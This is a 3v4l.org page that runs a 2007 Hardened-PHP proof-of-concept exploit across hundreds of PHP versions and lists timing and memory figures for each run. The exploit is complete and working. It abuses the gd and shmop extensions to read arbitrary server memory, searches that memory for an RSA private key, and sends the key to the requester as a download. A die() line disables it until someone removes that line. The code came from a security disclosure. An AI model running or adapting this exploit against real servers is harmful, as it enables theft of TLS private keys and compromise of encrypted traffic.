3v4l.org

run code in 300+ PHP versions simultaneously
<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP ext/shmop SSL RSA Private-Key Disclosure Exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); if (!extension_loaded("gd") || !extension_loaded("shmop")) { die("This demonstration exploit only works with ext/gd and ext/shmop loaded."); } function init() { global $rid; $rid = imagecreate(10,10); imagecolorallocate($rid, 0, 0, 0); imagecolorallocate($rid, 0, 0, 0); } function peek($addr, $size) { global $rid; imagecolordeallocate($rid, 0); imagecolordeallocate($rid, 1); imagecolorallocate($rid, $addr, 0, 0); imagecolorallocate($rid, $size, 0, 0); return shmop_read((int)$rid, 0, $size); } init(); $offset = 0x08048000 + 1024 * 64; while (1) { $data = peek($offset, 1024 + 16); $position = strpos($data, "\x30\x82"); if ($position !== false && $position < 1024) { // Potential Key if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") { $length = ord($data[$position+2])*256+ord($data[$position+3])+4; $keydata = peek($offset + $position, $length); // Assume an exponent of 0x10001 to really find a RSA key and not a DSA one if (strpos($keydata, "\x01\x00\x01") > 0) break; } } $offset += 1024; } header("Content-type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"server.der\""); echo $keydata; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.00918.55
8.3.50.0240.00621.93
8.3.40.0100.00618.83
8.3.30.0120.00319.05
8.3.20.0050.00320.34
8.3.10.0080.00021.80
8.3.00.0040.00422.51
8.2.180.0090.00616.63
8.2.170.0180.00022.96
8.2.160.0040.01120.87
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0060.00319.36
8.2.110.0060.00322.16
8.2.100.0040.00717.78
8.2.90.0000.00819.16
8.2.80.0050.00319.54
8.2.70.0030.00617.63
8.2.60.0070.00317.91
8.2.50.0060.00318.07
8.2.40.0040.00418.03
8.2.30.0040.00417.97
8.2.20.0070.00017.81
8.2.10.0060.00317.65
8.2.00.0000.00717.81
8.1.280.0090.00625.92
8.1.270.0050.00322.02
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0060.00323.97
8.1.230.0000.01119.17
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0040.00417.38
8.1.190.0040.00417.41
8.1.180.0040.00418.10
8.1.170.0040.00718.45
8.1.160.0070.00321.91
8.1.150.0070.00018.47
8.1.140.0050.00317.38
8.1.130.0000.00717.73
8.1.120.0080.00017.45
8.1.110.0000.00717.25
8.1.100.0020.00517.27
8.1.90.0000.00717.37
8.1.80.0050.00217.38
8.1.70.0000.00817.38
8.1.60.0040.00417.46
8.1.50.0040.00417.39
8.1.40.0040.00417.48
8.1.30.0040.00417.49
8.1.20.0040.00417.59
8.1.10.0050.00317.52
8.1.00.0000.00717.36
8.0.300.0000.00918.77
8.0.290.0040.00417.01
8.0.280.0000.00818.37
8.0.270.0000.00717.21
8.0.260.0000.00618.27
8.0.250.0030.00316.95
8.0.240.0060.00316.86
8.0.230.0070.00016.92
8.0.220.0030.00316.75
8.0.210.0030.00316.77
8.0.200.0000.00716.93
8.0.190.0040.00416.82
8.0.180.0070.00016.88
8.0.170.0030.00516.94
8.0.160.0050.00216.70
8.0.150.0000.01016.86
8.0.140.0000.00816.86
8.0.130.0000.00613.23
8.0.120.0000.00816.89
8.0.110.0000.00716.89
8.0.100.0040.00416.66
8.0.90.0040.00416.94
8.0.80.0070.01016.87
8.0.70.0040.00416.92
8.0.60.0000.00716.84
8.0.50.0030.00516.94
8.0.30.0080.01117.16
8.0.20.0060.01517.40
8.0.10.0040.00417.04
8.0.00.0100.00816.86
7.4.330.0060.00015.00
7.4.320.0030.00316.59
7.4.300.0000.00616.35
7.4.290.0070.00016.56
7.4.280.0030.00316.51
7.4.270.0030.00316.41
7.4.260.0080.00016.52
7.4.250.0000.00716.47
7.4.240.0050.00316.53
7.4.230.0080.00016.59
7.4.220.0030.01316.59
7.4.210.0060.01116.44
7.4.200.0000.00716.62
7.4.190.0000.00716.47
7.4.160.0130.00316.50
7.4.150.0070.01017.40
7.4.140.0110.00917.86
7.4.130.0100.00916.54
7.4.120.0060.01116.39
7.4.110.0030.01316.63
7.4.100.0080.01016.39
7.4.90.0090.00916.27
7.4.80.0130.00719.39
7.4.70.0050.01616.41
7.4.60.0070.01016.28
7.4.50.0000.00816.48
7.4.40.0030.01422.77
7.4.30.0060.00916.40
7.4.00.0060.00615.02
7.3.330.0030.00313.29
7.3.320.0020.00213.20
7.3.310.0060.00316.13
7.3.300.0040.00416.29
7.3.290.0100.01016.27
7.3.280.0090.00616.25
7.3.270.0030.01317.40
7.3.260.0110.00616.23
7.3.250.0120.00516.24
7.3.240.0030.01316.18
7.3.230.0100.00716.39
7.3.210.0120.00616.41
7.3.200.0030.01419.39
7.3.190.0060.01716.40
7.3.180.0060.00916.23
7.3.170.0070.01416.32
7.3.160.0080.00816.27
7.3.120.0060.00914.71
7.3.10.0090.00116.41
7.3.00.0040.00616.64
7.2.330.0190.00316.33
7.2.320.0140.00916.52
7.2.310.0080.00816.42
7.2.300.0100.00616.25
7.2.290.0080.00816.29
7.2.130.0060.00816.73
7.2.120.0060.00816.52
7.2.110.0050.00916.70
7.2.100.0000.01416.84
7.2.90.0070.00816.73
7.2.80.0090.00516.70
7.2.70.0060.00616.58
7.2.60.0090.00316.76
7.2.50.0040.00916.62
7.2.40.0100.00216.67
7.2.30.0050.00916.86
7.2.20.0050.00616.62
7.2.10.0030.01016.74
7.2.00.0030.00917.69
7.1.250.0040.00715.53
7.1.100.0060.00617.91
7.1.70.0060.00616.88
7.1.60.0110.01119.82
7.1.50.0100.01016.80
7.1.00.0030.07722.31
7.0.200.0000.00816.63
7.0.140.0030.07322.09
7.0.60.0230.07019.94
7.0.50.0030.05017.89
7.0.40.0070.04719.96
7.0.30.0100.05020.15
7.0.20.0230.03320.13
7.0.10.0370.06020.21
7.0.00.0130.06020.14
5.6.280.0000.07321.13
5.6.210.0070.08020.62
5.6.200.0000.04718.29
5.6.190.0170.07720.42
5.6.180.3470.03720.63
5.6.170.0230.04020.44
5.6.160.0030.04320.46
5.6.150.0070.04718.27
5.6.140.0030.07018.21
5.6.130.0170.06718.25
5.6.120.0070.05321.00
5.6.110.0200.07021.00
5.6.100.0070.04720.99
5.6.90.0030.06320.99
5.6.80.0000.06020.38
5.6.70.0370.06720.42
5.5.350.0070.06720.42
5.5.340.0130.03018.02
5.5.330.0070.08720.25
5.5.320.0170.09020.48
5.5.310.0270.06720.26
5.5.300.0100.05018.01
5.5.290.0000.05317.94
5.5.280.0070.03720.75
5.5.270.0100.03720.75
5.5.260.0100.07720.66
5.5.250.0170.07320.47
5.5.240.0070.08320.30
5.4.450.0800.05019.34
5.4.440.0330.06019.47
5.4.430.0070.06019.53
5.4.420.0070.05719.55
5.4.410.0130.05018.96
5.4.400.1170.04718.78
5.4.390.1200.05718.57
5.4.380.0200.05718.80
5.4.370.0130.05018.58
5.4.360.0230.04018.50
5.4.350.0070.03612.02
5.4.340.0070.03612.03
5.4.320.0050.03812.52
5.4.310.0060.03812.51
5.4.300.0030.04012.51
5.4.290.0070.03812.52
5.4.280.0060.03812.41
5.4.270.0200.06018.83
5.4.260.0100.05719.23
5.4.250.0170.06718.95
5.4.240.0100.05319.02
5.4.230.0030.08018.82
5.4.220.0100.05719.04
5.4.210.0130.05018.94
5.4.200.0070.05318.95
5.4.190.0170.06318.84
5.4.180.0170.05018.93
5.4.170.0100.05718.92
5.4.160.0100.06018.81
5.4.150.0130.07719.09
5.4.140.0130.04716.70
5.4.130.0070.06316.62
5.4.120.0070.07716.62
5.4.110.0100.06016.72
5.4.100.0170.04316.57
5.4.90.0030.06016.41
5.4.80.0100.05316.71
5.4.70.0030.07716.72
5.4.60.0070.05316.60
5.4.50.0130.05016.69
5.4.40.0070.06016.66
5.4.30.0030.06316.45
5.4.20.0130.04716.59
5.4.10.0030.06016.34
5.4.00.0030.06315.82
5.3.290.0100.05012.80
5.3.280.0030.05714.88
5.3.270.0130.05014.66
5.3.260.0030.08714.89
5.3.250.0130.07014.67
5.3.240.0100.06714.90
5.3.230.0200.04714.61
5.3.220.0130.04714.77
5.3.210.0100.05014.87
5.3.200.0070.07314.70
5.3.190.0070.06714.85
5.3.180.0030.05314.77
5.3.170.0200.06014.77
5.3.160.0170.06314.87
5.3.150.0130.06314.87
5.3.140.0170.05314.87
5.3.130.0170.05314.75
5.3.120.0100.06314.63
5.3.110.0100.05314.44
5.3.100.0170.05314.24
5.3.90.0030.06314.18
5.3.80.0000.05714.32
5.3.70.0130.05314.09
5.3.60.0070.05314.13
5.3.50.0070.05014.02
5.3.40.0130.06013.85
5.3.30.0100.05014.10
5.3.20.0100.04713.93
5.3.10.0130.06013.84
5.3.00.0130.06713.71
5.2.170.0070.07011.46
5.2.160.0070.05311.22
5.2.150.0130.04011.39
5.2.140.0070.04711.28
5.2.130.0130.03311.31
5.2.120.0000.04311.12
5.2.110.0200.03311.24
5.2.100.0070.04311.11
5.2.90.0100.03711.17
5.2.80.0100.04310.98
5.2.70.0000.04711.39
5.2.60.0070.04311.34
5.2.50.0030.06311.22
5.2.40.0030.04011.28
5.2.30.0170.04711.19
5.2.20.0000.05011.19
5.2.10.0070.04010.93
5.2.00.0030.06311.04
5.1.60.0030.05310.22
5.1.50.0030.03310.22
5.1.40.0130.03710.05
5.1.30.0070.04710.47
5.1.20.0070.04710.38
5.1.10.0100.03710.24
5.1.00.0130.03310.41
5.0.50.0030.0308.82
5.0.40.0000.0308.48
5.0.30.0030.0438.54
5.0.20.0030.0308.53
5.0.10.0000.0338.24
5.0.00.0070.0408.34
4.4.90.0070.0236.77
4.4.80.0030.0306.77
4.4.70.0030.0206.77
4.4.60.0070.0276.77
4.4.50.0030.0306.77
4.4.40.0030.0406.77
4.4.30.0000.0236.77
4.4.20.0000.0336.77
4.4.10.0030.0206.77
4.4.00.0030.0336.77
4.3.110.0070.0176.77
4.3.100.0070.0276.77
4.3.90.0030.0206.77
4.3.80.0000.0336.77
4.3.70.0030.0236.77
4.3.60.0070.0176.77
4.3.50.0030.0306.77
4.3.40.0100.0276.77
4.3.30.0000.0236.77
4.3.20.0070.0276.77
4.3.10.0030.0306.77
4.3.00.0170.0207.05

preferences:
43.87 ms | 401 KiB | 5 Q